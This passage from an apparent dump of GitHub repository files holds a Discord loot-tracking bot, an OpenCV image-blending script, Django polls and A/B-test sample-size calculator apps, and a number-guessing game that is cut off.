contact an officer or if you're an officer run the .createdb command first.\")\n# return\n\n# sender_exists, receiver_exists, approved\n# with open (db) as infile:\n# reader = csv.reader(infile.readlines())\n# for line in reader:\n# if line[0] == context.message.author.id:\n# sender_exists = True\n# if loot_type.upper() == 'NEIDAN':\n# approved = (True if (int(line[2])-quantity)>= 0 else False)\n# elif loot_type.upper() == 'PIRATE':\n# approved = (True if (int(line[3])-quantity)>= 0 else False)\n# elif loot_type.upper() == '100M':\n# approved = (True if (int(line[4])-quantity)>= 0 else False)\n# else:\n# await client.say(\"There's not such a drop named \\\"\" +loot_type +\"\\\", please check what you're writing.\")\n# return\n# elif line[0] == context.message.mentions[0].id:\n# receiver_exists = True\n# if (not sender_exists):\n# await client.say (\"You're not registered in the database.\")\n# if (not receiver_exists):\n# await client.say (\"The person you're trying to send a gift to is not registered in the database.\")\n# if not sender_exists or not receiver_exists: return\n# #loot movement\n# if (approved)\n\n# infile.close()\n# outfile.close()\n\n\n\[email protected](name = 'alive',\n description = \"Test if the bot is working.\")\nasync def hello_msg():\n await client.send(\"Yes, I'm here!\")\n\n##-----------Not command related--------##\ndef FloatOrZero(value):\n try:\n return float(value)\n except:\n return 0.0\n\ndef MoneyToInt(value):\n exp = re.compile('[^0-9eE.]')\n return FloatOrZero(exp.sub('', value))\n\n##----------add function ------------##\nasync def adding(context, loot_type, quantity, bymention = False):\n flag_existence = goodloot = False\n whois = str(context.message.author.id)\n if bymention:\n whois = str(context.message.mentions[0].id)\n for index, line in enumerate(player_income):\n if line[0] == whois:\n flag_existence = True\n if loot_type.upper() == 'NEIDAN':\n player_income.update_value('D'+str(index + 1), str(FloatOrZero(line[3])+quantity))\n goodloot = True\n elif loot_type.upper() == 'AMETHYST':\n player_income.update_value('E'+str(index + 1), str(FloatOrZero(line[4])+quantity))\n goodloot = True\n elif loot_type.upper() == 'HEKARU':\n player_income.update_value('F'+str(index + 1), str(FloatOrZero(line[5])+quantity))\n goodloot = True\n elif loot_type.upper() == 'WHISKER':\n player_income.update_value('G'+str(index + 1), str(FloatOrZero(line[6])+quantity))\n goodloot = True\n elif loot_type.upper() == 'SKIN':\n player_income.update_value('H'+str(index + 1), str(FloatOrZero(line[7])+quantity))\n goodloot = True\n elif loot_type.upper() == 'STEEL':\n player_income.update_value('I'+str(index + 1), str(FloatOrZero(line[8])+quantity))\n goodloot = True\n elif loot_type.upper() == 'SHELL':\n player_income.update_value('J'+str(index + 1), str(FloatOrZero(line[9])+quantity))\n goodloot = True\n elif loot_type.upper() == 'FIN':\n player_income.update_value('K'+str(index + 1), str(FloatOrZero(line[10])+quantity))\n goodloot = True\n elif loot_type.upper() == 'HORN':\n player_income.update_value('L'+str(index + 1), str(FloatOrZero(line[11])+quantity))\n goodloot = True\n elif loot_type.upper() == 'TONGUE':\n player_income.update_value('M'+str(index + 1), str(FloatOrZero(line[12])+quantity))\n goodloot = True\n elif loot_type.upper() == 'JAW':\n player_income.update_value('N'+str(index + 1), str(FloatOrZero(line[13])+quantity))\n goodloot = True\n elif loot_type.upper() == 'GOBLET':\n player_income.update_value('O'+str(index + 1), str(FloatOrZero(line[14])+quantity))\n goodloot = True\n elif loot_type.upper() == 'COIN':\n player_income.update_value('P'+str(index + 1), str(FloatOrZero(line[15])+quantity))\n goodloot = True\n else:\n await context.send(\"There's not such a drop named \\\"\" +loot_type +\"\\\", please check what you're writing.\")\n goodloot = False\n break\n ##player_income.update_value('Q'+str(index + 1), line[16] + \" \" + picture)\n if index > 100:\n break\n if (not flag_existence):\n await context.send(\"Uhm, it appears you're not registered yet, run the .enrol command to register.\")\n elif(flag_existence and goodloot and bymention):\n await context.send(context.message.mentions[0].mention +\", I have saved your data!\")\n return\n elif(flag_existence and goodloot):\n await context.send(context.message.author.mention +\", I have saved your data!\")\n\n\n\[email protected]\nasync def on_ready():\n await client.change_presence(activity = Game(name = \"!!help for info\"))\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print('MiyuAssistant up and ready!')\n print('------')\nclient.run(TOKEN)" } ]
1
Luqu24/image_additon
https://github.com/Luqu24/image_additon
f4cca7fd8c306dd760f75289899c9ec8e1a39111
22769ea01f5b1196b7f2147938f277efcaa4d926
e48df2b3b2ef4b880bd1fa8e2f86d1b826921ae6
refs/heads/main
2023-04-25T22:21:08.306094
2021-05-08T08:52:16
2021-05-08T08:52:16
365,455,399
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6651480793952942, "alphanum_fraction": 0.712984025478363, "avg_line_length": 38.90909194946289, "blob_id": "2804764424731efa09e6f7b52e23fca97eaed683", "content_id": "e0fa9aa4567b0419a07db35230cecc2722a1f68c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 439, "license_type": "permissive", "max_line_length": 159, "num_lines": 11, "path": "/README.md", "repo_name": "Luqu24/image_additon", "src_encoding": "UTF-8", "text": "# Image Addition with opencv\nIn this project I combine a lightning image with an image of iron man to create a super cool image in which iron man is standing and lightning is cracking <br>\nRaw images: <br>\n<br>\n<img src = \"iron man.jpeg\" height = 720px width = 1280px> <br>\n<br>\n<img src = \"lightning.jpeg\" height = 720px width = 1280px> <br>\n<br>\nFinal image: <br>\n<br>\n<img src = \"iron man lightning.jpeg\" height = 720px width = 1280px>\n" }, { "alpha_fraction": 0.6768447756767273, "alphanum_fraction": 0.732824444770813, "avg_line_length": 34.818180084228516, "blob_id": "820578621db2dff435680a3b62037ad75e88d93d", "content_id": "a936471d5c8bb63d7807dc9a1e65475c58778639", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "permissive", "max_line_length": 60, "num_lines": 11, "path": "/main.py", "repo_name": "Luqu24/image_additon", "src_encoding": "UTF-8", "text": "import cv2\niron_man = cv2.imread(\"iron man.jpeg\")\nlightning = cv2.imread(\"lightning.jpeg\")\ny, x, ch = iron_man.shape\nlightning_resize = cv2.resize(lightning, (x, y))\nlightning_rot = cv2.rotate(lightning_resize, cv2.ROTATE_180)\nadd = cv2.addWeighted(iron_man, 0.50,lightning_rot, 0.50, 0)\ncv2.imshow(\"add\", add)\ncv2.imwrite(\"iron man lightning.jpeg\", add)\ncv2.waitKey(0)\ncv2.destroyAllWindows()" } ]
2
vitthal-inani/community_app_web
https://github.com/vitthal-inani/community_app_web
94aa3fb870ff0e36555e3993025ef0385d7984d5
64d3493553c8d1ab11561b47a632c7039db295a7
8f354baa469a3884ef176122be084605b5ff9bfa
refs/heads/master
2021-03-08T05:47:48.140674
2020-07-20T10:25:12
2020-07-20T10:25:12
246,322,665
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.559036135673523, "alphanum_fraction": 0.559036135673523, "avg_line_length": 45.11111068725586, "blob_id": "730553970099528f912900d57dc44488c67049a7", "content_id": "992d57f6a36f89ef75bb6009f89ae0ba4dfbeec5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "no_license", "max_line_length": 79, "num_lines": 9, "path": "/Django/Basics/polls/urls.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [path('', views.index, name='index'),\n path('<int:admin_id>/', views.detail, name='detail'),\n path('<int:admin_id>/results/', views.results, name='results'),\n path('<int:admin_id>/vote/',views.vote,name='vote'),\n path('<int:admin_id>/json/', views.jsonadmin, name='jsonadmin'),\n ]\n" }, { "alpha_fraction": 0.5139318704605103, "alphanum_fraction": 0.5727553963661194, "avg_line_length": 18, "blob_id": "97be0f7dddbb9c8f96b38cf4b182f7c5d7cbe556", "content_id": "c2e7c863fcb3bd479e0d2a72df58d8d5453f87cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 323, "license_type": "no_license", "max_line_length": 47, "num_lines": 17, "path": "/Django/Basics/polls/migrations/0003_auto_20200326_1552.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2020-03-26 10:22\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('polls', '0002_client_guide'),\n ]\n\n operations = [\n migrations.RenameModel(\n old_name='Question',\n new_name='Posts',\n ),\n ]\n" }, { "alpha_fraction": 0.804444432258606, "alphanum_fraction": 0.804444432258606, "avg_line_length": 19.545454025268555, "blob_id": "69ce72d4e7b8cdf1ed7b2fb1fb52710fcc3edb00", "content_id": "8e782b0be133c4569bc6690f8247ceb11b9f1df4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 32, "num_lines": 11, "path": "/Django/Basics/polls/admin.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\nfrom .models import Posts\nfrom .models import Client\nfrom .models import Guide\n\n# Register your models here.\n\nadmin.site.register(Posts)\nadmin.site.register(Guide)\nadmin.site.register(Client)" }, { "alpha_fraction": 0.5283505320549011, "alphanum_fraction": 0.5541236996650696, "avg_line_length": 34.272727966308594, "blob_id": "0c9f384fd2cc827d860519b8ce9f343c599378bf", "content_id": "a9ed310be34859df85f9e34c19fa09b742b8ee24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1164, "license_type": "no_license", "max_line_length": 114, "num_lines": 33, "path": "/Django/Basics/polls/migrations/0002_client_guide.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2020-03-26 08:12\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('polls', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Client',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=40)),\n ('area', models.TextField(max_length=40)),\n ('service', models.IntegerField(default=0)),\n ],\n ),\n migrations.CreateModel(\n name='Guide',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=40)),\n ('tags', models.CharField(max_length=100)),\n ('rating', models.IntegerField(default=0)),\n ('clients', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='polls.Client')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6297608613967896, "alphanum_fraction": 0.6297608613967896, "avg_line_length": 33.212120056152344, "blob_id": "e5618952e57ccd95fdcbb53c9b35de9fca56e23b", "content_id": "d717cd9140fafa0c4f9344fa79b17c00db15baa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1129, "license_type": "no_license", "max_line_length": 85, "num_lines": 33, "path": "/Django/Basics/polls/views.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\n\n\n# Create your views here.\n\ndef index(request):\n return HttpResponse(\"Hello World !\")\n\n\ndef results(request, admin_id):\n return HttpResponse(\"You are at the results of question %s \" % admin_id)\n\n\ndef detail(request, admin_id):\n return HttpResponse(\"You are on the details page of question %s \" % admin_id)\n\n\ndef vote(request, admin_id):\n return HttpResponse(\"You are voting on question %s\" % admin_id)\n\n\ndef jsonadmin(request, admin_id):\n data = [{'name': 'Peter', 'tags': 'hotels,places', 'clients': 'Matt,Greg,Harry'},\n {'name': 'Julia', 'tags': 'hotels,places', 'clients': 'Lisa,Greg,Remi'},\n {'name': 'Julia', 'tags': 'hotels,places', 'clients': 'Lisa,Greg,Remi'},\n {'name': 'Julia', 'tags': 'hotels,places', 'clients': 'Lisa,Greg,Remi'},\n {'name': 'Julia', 'tags': 'hotels,places', 'clients': 'Lisa,Greg,Remi'},\n {'name': 'Julia', 'tags': 'hotels,places', 'clients': 'Lisa,Greg,Remi'},\n ]\n\n return JsonResponse(data, safe=False)\n" }, { "alpha_fraction": 0.6739320158958435, "alphanum_fraction": 0.6904969215393066, "avg_line_length": 25.06818199157715, "blob_id": "fd2f557cfb80b2e5b61681391d020e4dc11a799f", "content_id": "22705492a72b48f5e23272b434770d89fdeb7404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1147, "license_type": "no_license", "max_line_length": 75, "num_lines": 44, "path": "/Django/Basics/polls/models.py", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "import datetime\n\nfrom django.db import models\nfrom django.utils import timezone\n\n\n# Create your models here.\nclass Posts(models.Model):\n def __str__(self):\n return self.question_text\n\n def was_published_recently(self):\n return self.pub_date >= timezone.now() - datetime.timedelta(days=1)\n\n question_text = models.CharField(max_length=200)\n pub_date = models.DateTimeField('Date Published')\n\n\nclass Choice(models.Model):\n def __str__(self):\n return self.choice_text\n\n question = models.ForeignKey(Posts, on_delete=models.CASCADE)\n choice_text = models.CharField(max_length=200)\n votes = models.IntegerField(default=0)\n\n\nclass Client(models.Model):\n def __str__(self):\n return self.name\n\n name = models.CharField(max_length=40)\n area = models.TextField(max_length=40)\n service = models.IntegerField(default=0)\n\n\nclass Guide(models.Model):\n def __str__(self):\n return self.name\n\n name = models.CharField(max_length=40)\n tags = models.CharField(max_length=100)\n clients = models.ForeignKey(Client, on_delete=models.CASCADE)\n rating = models.IntegerField(default=0)\n" }, { "alpha_fraction": 0.8249258399009705, "alphanum_fraction": 0.8249258399009705, "avg_line_length": 29.636363983154297, "blob_id": "dd24bf7ae50d18431fb6e681729931db58205381", "content_id": "316bb9a81d4d6df87066a26205f1265a13be0905", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 674, "license_type": "no_license", "max_line_length": 56, "num_lines": 22, "path": "/community_app_android/android/app/src/main/kotlin/com/example/community_app/MainActivity.kt", "repo_name": "vitthal-inani/community_app_web", "src_encoding": "UTF-8", "text": "package com.example.community_app\n\nimport android.content.Context\nimport android.content.ContextWrapper\nimport android.content.Intent\nimport android.content.IntentFilter\nimport android.os.BatteryManager\nimport android.os.Build\nimport android.os.Bundle\nimport androidx.annotation.RequiresApi\nimport io.flutter.app.FlutterActivity\nimport io.flutter.plugin.common.MethodChannel\nimport io.flutter.plugins.GeneratedPluginRegistrant\n\n\nclass MainActivity : FlutterActivity() {\n @RequiresApi(Build.VERSION_CODES.LOLLIPOP)\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n GeneratedPluginRegistrant.registerWith(this)\n\n}}\n" } ]
7
pkimchi/TestCode
https://github.com/pkimchi/TestCode
0f633a728045447d0b7ee5a7f1413217763af536
8ba885c61bee94c5f9870049121754e1d1355251
4390d4a32e9a3ed231fce1ff0245f323ce2050f7
refs/heads/master
2020-03-30T13:33:07.403592
2019-03-26T22:05:33
2019-03-26T22:05:33
151,277,158
0
0
null
2018-10-02T15:23:30
2019-03-27T13:52:37
2019-03-27T14:06:40
Python
[ { "alpha_fraction": 0.5506120324134827, "alphanum_fraction": 0.5868644118309021, "avg_line_length": 30.46666717529297, "blob_id": "15654d4ee7b914993fb8a5fcb4098a7fda7cfa45", "content_id": "95a74afa78d9778aa1a7dfa8817be578c0b4acc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4248, "license_type": "no_license", "max_line_length": 111, "num_lines": 135, "path": "/testprojectv4/calc/views.py", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\nfrom .models import Question\nfrom django.shortcuts import render\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext, loader\nfrom math import pi\n\nimport scipy.stats as st\nimport numpy as np\nimport json\n\ndef index(request):\n if request.is_ajax():\n uip1=request.POST.get('val1')\n uip2=request.POST.get('val2')\n uiconlvl=request.POST.get('val3')\n uipower=request.POST.get('val4')\n uitailed=request.POST.get('tvalue')\n dailyv=request.POST.get('val6')\n uiratio=request.POST.get('val7')\n variations=request.POST.get('val8')\n uipop=request.POST.get('val9')\n uirr=float(request.POST.get('val10'))\n\n lift=(float(uip2)-float(uip1))/float(uip1)*100\n### Finite Populatino Correction and float to string error correction\n if uipop == \"\":\n ss=sample_size_calc(float(uip1),float(uip2),int(uiconlvl),int(uipower),int(uiratio),uitailed)\n else:\n uipop= float(uipop)\n ss=sample_size_calc(float(uip1),float(uip2),int(uiconlvl),int(uipower),int(uiratio),uitailed,uipop)\n\n if uirr == 100:\n ss=ss\n else:\n uirr=1-(uirr/100)\n ssincr=(ss*uirr)\n ss=ss+int(ssincr)\n\n days = \"\"\n if not dailyv == \"\":\n days=round(ss*int(variations)/int(dailyv))\n days= max(7,days)\n\n return render_to_json_response({\"result\":ss,\"resultsdays\":days,\"resultslift\":lift})\n\n mytemplate = loader.get_template('calc/index.html')\n return HttpResponse(mytemplate.render({},request))\n\ndef sample_size_calc(p1,p2,con_lvl,power,k,tval,pop=None):\n \"\"\"Advanced Sample size calculator\n\n Allows the user to choose p1, p2, confidence level and power\n\n p1 = baseline % (sample proportion in group 1)\n p2 = anticipated change % (sample proportion in group 2)\n Con_lvl = Confidence level % aka alpha\n s_power = statistical power aka beta\n (set to 80), this is a common industry choice\n zscore of 80% = 0.84\n\n Returns: the minimum sample size required with the given proportions,\n to ensure that the test results in a significant detectable increase.\n\n \"\"\"\n #alpha zscore\n if tval == \"t1\":\n if con_lvl == 95:\n az = 1.645\n else:\n con_lvl = con_lvl/100\n az = st.norm.ppf(con_lvl)\n else:\n if con_lvl == 95:\n az = 1.96\n else:\n con_lvl = con_lvl/100\n az = st.norm.ppf(1-(1-con_lvl)/2)\n\n #beta zscore\n if power == 80:\n bz = 0.84\n else:\n power = power/100\n bz = st.norm.ppf(power)\n\n # S_power = 0.84 # zscore\n\n p1 = p1/100\n\n p2 = p2/100\n\n #ratio correction\n rC= (p1*(1-p1))/k\n\n #initial sample size with reponse ratio correction and no\n #finite population correction\n ss = (az + bz)**2 * (rC+p2*(1-p2))/(p1-p2)**2\n\n if pop is None:\n return int(np.around(ss))\n\n else:\n # finite population correction for fpc less than .95 bc as the fpc\n # value approaches 1 the value becomes somewhat insignificant\n #Large populations fpc is greater than .95\n\n X = (az + bz)**2 / (p1-p2)**2\n\n #This is because both populations are the same\n #to change for fpc for two separate populations alter\n #pop before the p1 for p1 pop & pop before p2 for p2 pop for both\n #fpcA and fpcB\n fpcA = (pop/(pop-1))*(rC) + (pop/(pop-1))*(p2*(1-p2))\n# fpcA = (pop/(pop-1))*(p1*(1-p1)) + (pop/(pop-1))*(p2*(1-p2))\n fpcB = (1/(pop-1))*(rC) + (1/(pop-1))*(p2*(1-p2))\n# fpcB = (1/(pop-1))*(p1*(1-p1)) + (1/(pop-1))*(p2*(1-p2))\n ss = (X*fpcA)/(1+X*fpcB)\n\n return int(np.around(ss))\n\n\n# fpc=(pop-ss)/(pop-1)\n# print(fpc)\n# if fpc > .95:\n# return int(np.around(ss))\n# else:\n# ss = (az + bz)**2 * (fpc*p1*(1-p1)+fpc*p2*(1-p2))/(p1-p2)**2\n# return int(np.around(ss))\n\n#creates a json\ndef render_to_json_response(context, **response_kwargs):\n data = json.dumps(context)\n response_kwargs['content_type'] = 'application/json'\n return HttpResponse(data, **response_kwargs)\n" }, { "alpha_fraction": 0.5953091979026794, "alphanum_fraction": 0.6226012706756592, "avg_line_length": 28.855262756347656, "blob_id": "79c0443d6fc2a9e48143ecb00b19e8e0da780c8f", "content_id": "9bce205c4293d964569a61fd8f28f1f884ad8ef8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2345, "license_type": "no_license", "max_line_length": 73, "num_lines": 76, "path": "/testprojectv4/calc/views10818.py", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\r\nfrom .models import Question\r\nfrom django.shortcuts import render\r\nfrom django.shortcuts import render_to_response\r\nfrom django.template import RequestContext, loader\r\nfrom math import pi\r\n\r\nimport scipy.stats as st\r\nimport numpy as np\r\nimport json\r\n\r\ndef index(request):\r\n if request.is_ajax():\r\n s=request.POST.get('val1')\r\n r=request.POST.get('val2')\r\n f=request.POST.get('val3')\r\n ss=sample_size_calc(float(s),float(r),int(f))\r\n return render_to_json_response({\"result\":ss})\r\n #return render(request, 'index.html')\r\n #return render(request, 'calc/index.html'\r\n mytemplate = loader.get_template('calc/index.html')\r\n return HttpResponse(mytemplate.render({},request))\r\n\r\n#def result(request, test):\r\n# if request.method == \"GET\":\r\n# con_lvl= request.GET['conLevel']\r\n# me = request.GET['marginError']\r\n# pop = request.GET['popSize']\r\n# tuple = sample_size_calc(float(con_lvl), float(me), float(pop))\r\n# return render(request, 'calc/result.html', {\r\n# 'con_Level': con_asd,\r\n# 'marginError': me,\r\n# 'popSize' : pop,\r\n# 'tuple': tuple,\r\n\r\n# })\r\n\r\n#advance_calc_v1 10/16/18\r\ndef sample_size_calc(p1,p2,con_lvl):\r\n \"\"\"Advanced Sample size calculator\r\n\r\n Currently for Confidence level 95 or 99\r\n\r\n p1 = baseline % (sample proportion in group 1)\r\n p2 = anticipated change % (sample proportion in group 2)\r\n Con_lvl = Confidence level % aka alpha\r\n s_power = statistical power aka beta\r\n (set to 80), this is a common industry choice\r\n zscore of 80% = 0.84\r\n\r\n Returns: the minimum sample size required with the given proportions,\r\n to ensure that the test results in a significant detectable increase.\r\n\r\n \"\"\"\r\n\r\n if con_lvl == 95 or con_lvl == .95:\r\n con_lvl = 1.96 # zscore\r\n\r\n if con_lvl == 99 or con_lvl == .99:\r\n con_lvl = 2.58 # zscore\r\n\r\n S_power = 0.84 # zscore\r\n\r\n p1 = p1/100\r\n\r\n p2 = p2/100\r\n\r\n ss = (con_lvl + S_power)**2 * (p1*(1-p1)+p2*(1-p2))/(p1-p2)**2\r\n\r\n return int(np.ceil(ss))\r\n\r\n#creates a json\r\ndef render_to_json_response(context, **response_kwargs):\r\n data = json.dumps(context)\r\n response_kwargs['content_type'] = 'application/json'\r\n return HttpResponse(data, **response_kwargs)\r\n" }, { "alpha_fraction": 0.3952483832836151, "alphanum_fraction": 0.42764580249786377, "avg_line_length": 26.060606002807617, "blob_id": "f312f78abd420fb921d4b5f78df41e955a711f23", "content_id": "7e2557351597791e33ff1cf956e7631d35ad44c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 926, "license_type": "no_license", "max_line_length": 93, "num_lines": 33, "path": "/testprojectv4/calc/static/calc/main.js", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "function calc()\r\n{\r\n $.ajax(\r\n {\r\n type:\"POST\",\r\n data:{\r\n \"val1\":$(\"#02\").val(),\r\n \"val2\":$(\"#03\").val(),\r\n \"val3\":$(\"#04\").val(),\r\n \"val4\":$(\"#05\").val(),\r\n \"tvalue\":$(\"input[name='tvalue']:checked\").val(),\r\n \"val6\":$(\"#06\").val(),\r\n \"val7\":$(\"#07\").val(),\r\n \"val8\":$(\"#08\").val(),\r\n \"val9\":$('#09').val(),\r\n \"val10\":$('#10').val(),\r\n\r\n csrfmiddlewaretoken:$('input[name=csrfmiddlewaretoken]').val(),\r\n },\r\n success:function(data)\r\n\r\n {\r\n $(\"#sample_size\").text(\"min sample size per variation is: \" + data[\"result\"])\r\n\r\n if ($(\"#06\").val() !=\"\")\r\n $(\"#days_required\").text(\"estimated days to run your test: \" + data[\"resultsdays\"])\r\n// $(\"#test\").text(\"this is a test\")\r\n\r\n $(\"#lift_treatment\").text(\"relative uplift result: \" + data[\"resultslift\"] + \"%\")\r\n }\r\n }\r\n )\r\n}\r\n" }, { "alpha_fraction": 0.8217821717262268, "alphanum_fraction": 0.8316831588745117, "avg_line_length": 32.66666793823242, "blob_id": "b8f25e345572b8bd46998f24b27de86d8fe08692", "content_id": "97b1f75ccf0a57b0bceedeb747dd7394997c48f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 101, "license_type": "no_license", "max_line_length": 88, "num_lines": 3, "path": "/README.md", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "# TestCode\n\nTestprojectV4 is the newest stable working version of the minimum population calculator.\n" }, { "alpha_fraction": 0.5875458121299744, "alphanum_fraction": 0.6029304265975952, "avg_line_length": 25.25, "blob_id": "fc9d1669a8473df21de5b7677a0008647f6d8a5a", "content_id": "299924a0ecb3199bb1fc61ffaa977aa52c3d0d81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 67, "num_lines": 52, "path": "/my_django_stuff/revampedCalc/calc/views.py", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "#from django.shortcuts import render\n\nfrom django.http import HttpResponse\n\nfrom django.http import HttpResponse\nfrom .models import Question\nfrom django.shortcuts import render, render_to_response\nfrom math import pi\nimport numpy as np\n\ndef index(request):\n #return render(request, 'index.html')\n #return render(request, 'calc/index.html')\n return render_to_response('calc/index.html')\n\n\ndef result(request, test):\n if request.method == \"GET\":\n con_lvl= request.GET['conLevel']\n me = request.GET['marginError']\n pop = request.GET['popSize']\n\n tuple = sample_size_calc(float(con_lvl), float(me), float(pop))\n return render(request, 'calc/result.html', {\n 'conLevel': con_lvl,\n 'marginError': me,\n 'popSize' : pop,\n 'tuple': tuple,\n 'ss': ss\n# 'wastedSpace': tuple[1],\n# 'numOfCans': tuple[0]\n })\n\ndef sample_size_calc(con_lvl, me, pop_size=None):\n P=.5\n\n if con_lvl == 95 or con_lvl == .95:\n con_lvl = 1.96 # zscore\n\n if con_lvl == 99 or con_lvl == .99:\n con_lvl = 2.58 # zscore\n\n ss = np.ceil(con_lvl**2 *P *(1-P)/me**2)\n\n if pop_size is None:\n print(\"Minimum sample size you need is: \", ss)\n return ss\n\n else:\n ss = np.ceil(ss/(1+(ss/pop_size)))\n print(\"Minimum sample size you need is: \", ss)\n return ss\n" }, { "alpha_fraction": 0.63371741771698, "alphanum_fraction": 0.64766526222229, "avg_line_length": 29.537036895751953, "blob_id": "a00c257f6ee8d65ed5f86aefaf465caae4387f3e", "content_id": "bc448db6767c9c14235bc2ef889a8d55bf184934", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1649, "license_type": "no_license", "max_line_length": 86, "num_lines": 54, "path": "/testprojectv4/calc/views_orig.py", "repo_name": "pkimchi/TestCode", "src_encoding": "UTF-8", "text": "#from django.shortcuts import render\n\nfrom django.http import HttpResponse\n\nfrom django.http import HttpResponse\nfrom .models import Question\nfrom django.shortcuts import render, render_to_response\nfrom math import pi\n\ndef index(request):\n #return render(request, 'index.html')\n #return render(request, 'calc/index.html')\n return render_to_response('calc/index.html')\n\n\n# def result(request, can_height):\n# return render(request, 'calc/result.html', {'canHeight': can_height})\n\n# def result(request):\n# if request.method == \"POST\":\n# list_values = request.POST.getlist('my_list')\n# return render(request, 'calc/result.html', {'list': list_values})\n\ndef result(request, test):\n if request.method == \"GET\":\n can_height= request.GET['canHeight']\n can_radius = request.GET['canRadius']\n tuple = calculate(float(can_radius), float(can_height))\n return render(request, 'calc/result.html', {\n 'canHeight': can_height,\n 'canRadius': can_radius,\n 'tuple': tuple,\n 'wastedSpace': tuple[1],\n 'numOfCans': tuple[0]\n })\n\n\ndef calculate(Cd, Ch ):\n # Cd = 0.02\n # Ch = 0.10\n # volume of can/box\n Vb = (Cd * Cd * Ch)\n Vs = 32.2514\n\n # maximun number of cans that will fit in the shipping container\n maxCans = int(Vs / Vb)\n print(\"maximun number of cans that will fit in the shipping container: \", maxCans)\n\n wasteSp = (32.2514 - (maxCans * Ch * pi * (Cd / 2) ** 2))\n # volume of wasted space\n print(\"volume of wasted space: \", wasteSp, \"m^3\")\n\n return (maxCans, wasteSp)\n # General concensus: long skinny cans create less wasted space.\n" } ]
6
liorch1/learning-python
https://github.com/liorch1/learning-python
d2dbc70c4a54699c8dc8206bf3c1e3081961e25e
aa6645665a6c28311d1cb7418d8f72bbe3fa50a2
4e08ee91a7aaf843dc6fb3e3e24f78b3fe7c46f0
refs/heads/master
2020-04-04T19:54:25.381847
2018-11-05T13:52:06
2018-11-05T13:52:06
156,225,381
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5765503644943237, "alphanum_fraction": 0.6259689927101135, "avg_line_length": 25.461538314819336, "blob_id": "8958ff6356822efc295f5338251b6cef01053845", "content_id": "7851c7ecb5091f994a7375e887f7cabdd66f4b50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1032, "license_type": "no_license", "max_line_length": 77, "num_lines": 39, "path": "/cows_bulls_game.py", "repo_name": "liorch1/learning-python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python36\n\n#####################\n#\n#\n#\n#\n###################\n\nimport random\n\ngen_number = random.randrange(1000, 9999)\nnumber = str(gen_number)\ncows_bulls = [0,0]\nguess_number = 0\nprint(\"lets play a little game called cows and bulls\")\nprint(\"you need to guess a 4 digts number\")\nprint(\"for every correct number place you get a cow\")\nprint(\"for every correct number in a worng palce you get bull\")\n\nwhile cows_bulls[0] < 4:\n\tguess = str(input(\"please enter a guess: \"))\n\tguess_number += 1\n\tcows_bulls = [0,0]\n\tif int(guess) < 1000 or int(guess) > 9999:\n\t\tprint(\"you need to chose between 1000-9999\")\n\telse:\n\t\tfor i in range(4):\n\t\t\tif guess[i] == number[i]:\n\t\t\t\tcows_bulls[0] += 1\n\t\t\t\tcows_bulls[1] -= 1\n\t\tfor j in range(4):\n\t\t\tif guess[j] in number:\n\t\t\t\tcows_bulls[1] += 1\n\t\t\t#\tif cows_bulls[0] > 0 and cows_bulls[1] > 0: 